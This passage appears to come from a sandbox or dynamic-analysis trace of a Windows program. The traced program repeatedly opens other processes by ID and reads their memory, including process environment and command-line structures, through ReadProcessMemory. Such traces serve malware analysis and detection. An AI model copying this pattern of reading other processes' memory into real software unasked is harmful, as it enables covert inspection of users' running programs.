(_Block=0xeb6770) [0353.642] CloseHandle (hObject=0xa9c) returned 1 [0353.642] _ui64tow_s (in: _Value=0x6fc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1788") returned 0x0 [0353.643] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1788") returned 4 [0353.643] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.643] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.645] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x6fc) returned 0xa9c [0353.645] GetLastError () returned 0x0 [0353.645] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.645] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x37e018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.651] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.651] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c2480, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.652] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c2118, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.652] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.653] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.653] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x37e020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.653] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c1ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.653] malloc (_Size=0x42) returned 0xea7bb0 [0353.653] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c2158, lpBuffer=0xea7bb0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea7bb0*, lpNumberOfBytesRead=0x0) returned 1 [0353.654] free (_Block=0xea7bb0) [0353.654] CloseHandle (hObject=0xa9c) returned 1 [0353.655] _ui64tow_s (in: _Value=0x734, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1844") returned 0x0 [0353.655] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1844") returned 4 [0353.655] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.656] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.657] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x734) returned 0xa9c [0353.657] GetLastError () returned 0x0 [0353.657] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.657] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x215018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.658] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.658] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d70, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.658] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.659] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.659] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.659] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x215020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.659] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.660] malloc (_Size=0x8a) returned 0xec75c0 [0353.660] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xec75c0, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec75c0*, lpNumberOfBytesRead=0x0) returned 1 [0353.660] free (_Block=0xec75c0) [0353.661] CloseHandle (hObject=0xa9c) returned 1 [0353.661] _ui64tow_s (in: _Value=0x820, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2080") returned 0x0 [0353.661] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2080") returned 4 [0353.662] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.662] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.666] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x820) returned 0xa9c [0353.666] GetLastError () returned 0x0 [0353.666] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.666] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x249018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.666] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.666] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d60, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.666] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.666] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.667] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.667] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x249020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.667] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.667] malloc (_Size=0x84) returned 0xe88360 [0353.667] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xe88360, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe88360*, lpNumberOfBytesRead=0x0) returned 1 [0353.667] free (_Block=0xe88360) [0353.668] CloseHandle (hObject=0xa9c) returned 1 [0353.668] _ui64tow_s (in: _Value=0x8e0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2272") returned 0x0 [0353.668] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2272") returned 4 [0353.668] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.668] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.669] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8e0) returned 0xa9c [0353.669] GetLastError () returned 0x0 [0353.669] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.669] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3b1018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.670] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.670] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x422560, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.670] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x422228, lpBuffer=0x5ec5a0, nSize=0x3e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.670] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.670] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.670] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3b1020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.671] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x421be0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.671] malloc (_Size=0x18) returned 0xec9720 [0353.671] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x422266, lpBuffer=0xec9720, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec9720*, lpNumberOfBytesRead=0x0) returned 1 [0353.671] free (_Block=0xec9720) [0353.671] CloseHandle (hObject=0xa9c) returned 1 [0353.720] _ui64tow_s (in: _Value=0x8f0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2288") returned 0x0 [0353.720] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2288") returned 4 [0353.720] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0xcc877a17, dwBuildNumber=0x7fff, dwPlatformId=0x15aacc0, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.720] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.721] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8f0) returned 0xa9c [0353.721] GetLastError () returned 0x0 [0353.721] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.721] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c8018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.722] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.722] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403de0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.722] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a38, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.722] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.722] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.722] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c8020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.722] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4033f0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.723] malloc (_Size=0x6a) returned 0xea8c20 [0353.723] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a78, lpBuffer=0xea8c20, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8c20*, lpNumberOfBytesRead=0x0) returned 1 [0353.723] free (_Block=0xea8c20) [0353.728] CloseHandle (hObject=0xa9c) returned 1 [0353.728] _ui64tow_s (in: _Value=0x944, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2372") returned 0x0 [0353.728] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2372") returned 4 [0353.728] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.728] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.729] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x944) returned 0xa9c [0353.729] GetLastError () returned 0x0 [0353.729] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.729] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x228018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.730] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.730] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5225e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.730] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x522228, lpBuffer=0x5ec5a0, nSize=0x44, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.730] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.730] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.730] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x228020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.730] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x521be0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.731] malloc (_Size=0x6c) returned 0xea93a0 [0353.731] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x52226c, lpBuffer=0xea93a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea93a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.731] free (_Block=0xea93a0) [0353.731] CloseHandle (hObject=0xa9c) returned 1 [0353.731] _ui64tow_s (in: _Value=0xa64, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2660") returned 0x0 [0353.732] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2660") returned 4 [0353.732] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.732] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.733] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa64) returned 0xa9c [0353.733] GetLastError () returned 0x0 [0353.733] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.733] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c3018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.733] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.733] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5525c0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.733] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x552248, lpBuffer=0x5ec5a0, nSize=0x30, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.733] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.734] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.734] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c3020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.734] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x551c00, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.734] malloc (_Size=0x32) returned 0xe71eb0 [0353.734] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x552278, lpBuffer=0xe71eb0, nSize=0x30, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe71eb0*, lpNumberOfBytesRead=0x0) returned 1 [0353.735] free (_Block=0xe71eb0) [0353.735] CloseHandle (hObject=0xa9c) returned 1 [0353.736] _ui64tow_s (in: _Value=0xad8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2776") returned 0x0 [0353.736] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2776") returned 4 [0353.736] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.736] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.737] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xad8) returned 0xa9c [0353.737] GetLastError () returned 0x0 [0353.737] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.737] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x341018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.737] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.737] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403de0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.737] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a38, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.738] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.738] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.738] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x341020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.738] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4033f0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.738] malloc (_Size=0x72) returned 0xea8b20 [0353.738] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a78, lpBuffer=0xea8b20, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8b20*, lpNumberOfBytesRead=0x0) returned 1 [0353.739] free (_Block=0xea8b20) [0353.739] CloseHandle (hObject=0xa9c) returned 1 [0353.744] _ui64tow_s 